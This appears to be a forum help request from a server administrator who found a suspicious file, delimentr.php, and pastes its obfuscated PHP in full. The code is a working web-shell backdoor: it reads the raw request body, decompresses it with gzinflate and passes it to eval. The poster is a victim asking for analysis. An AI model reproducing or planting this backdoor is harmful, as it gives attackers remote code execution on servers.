I found a suspicious file added in the root directory of our wordpress folder and other non-wordpress folder in our server.
the file name is delimentr.php and I cant understand what it does, its content is below.
<?php goto SG3yogZn; aEl0EkI2: ${$FmSQiCsZ} = file_get_contents("\160\x68\x70\72\57\57\151\156\160\165\x74"); goto Nxnvonqs; Nxnvonqs: if (!(substr(${${"\x47\x4c\x4f\102\101\114\123"}["\166\x68\143\166\x67\x78"]}, 0, 3) == "\60\x30\60")) { goto QwGIJet9; } goto iJjr42lW; hyBztQF9: try { ${"\107\x4c\x4f\102\x41\114\x53"}["\142\164\x69\141\x66\x75\147\150\145\166"] = "\x63\157\155\155\141\x6e\144"; eval(${${"\x47\114\x4f\x42\101\114\x53"}["\x62\x74\x69\141\146\165\147\150\x65\166"]}); } catch (lWRXlvRC $PEOAC6LB) { } goto Z3GaBDBb; SG3yogZn: ${"\107\114\x4f\102\x41\x4c\x53"}["\166\150\143\x76\x67\x78"] = "\162\x61\167\x44\x61\x74\x61"; goto Xqi0ccTQ; V1IsZA0e: ${"\x47\x4c\x4f\x42\x41\114\x53"}["\145\x6c\x6c\154\146\160\160\142\x6b\156"] = "\x75\x6e\143\157\x6d\x70\x72\145\163\x73\x65\x64"; goto uXH3h_az; uXH3h_az: $kyAGRUuc = "\x63\157\x6d\x6d\x61\x6e\x64"; goto OTTB00cJ; WshMX2nm: ${${"\107\114\117\x42\x41\x4c\123"}["\162\x70\x78\x66\x64\x66\157\144\x62\x65"]} = gzinflate(substr(${${"\107\x4c\x4f\102\101\114\x53"}["\166\x68\x63\x76\x67\x78"]}, 3)); goto V1IsZA0e; Xqi0ccTQ: $FmSQiCsZ = "\x72\x61\x77\x44\x61\x74\x61"; goto aEl0EkI2; OTTB00cJ: @(${$kyAGRUuc} = ${${"\107\x4c\117\x42\x41\114\x53"}["\145\154\154\x6c\x66\160\x70\x62\x6b\156"]}); goto hyBztQF9; iJjr42lW: ${"\x47\x4c\117\102\x41\114\x53"}["\x72\160\170\146\144\x66\x6f\x64\142\145"] = "\x75\156\x63\157\x6d\160\162\x65\163\x73\x65\144"; goto WshMX2nm; Z3GaBDBb: QwGIJet9:
anyway body can decode it and tell me what is does?
This seems to have slowed down our server php-fpm a lot.
HTTP request which HIT fastcgi_cache would load in 100-200ms
but the request which MISS fastcgi_cache would take 7-12 seconds to get a response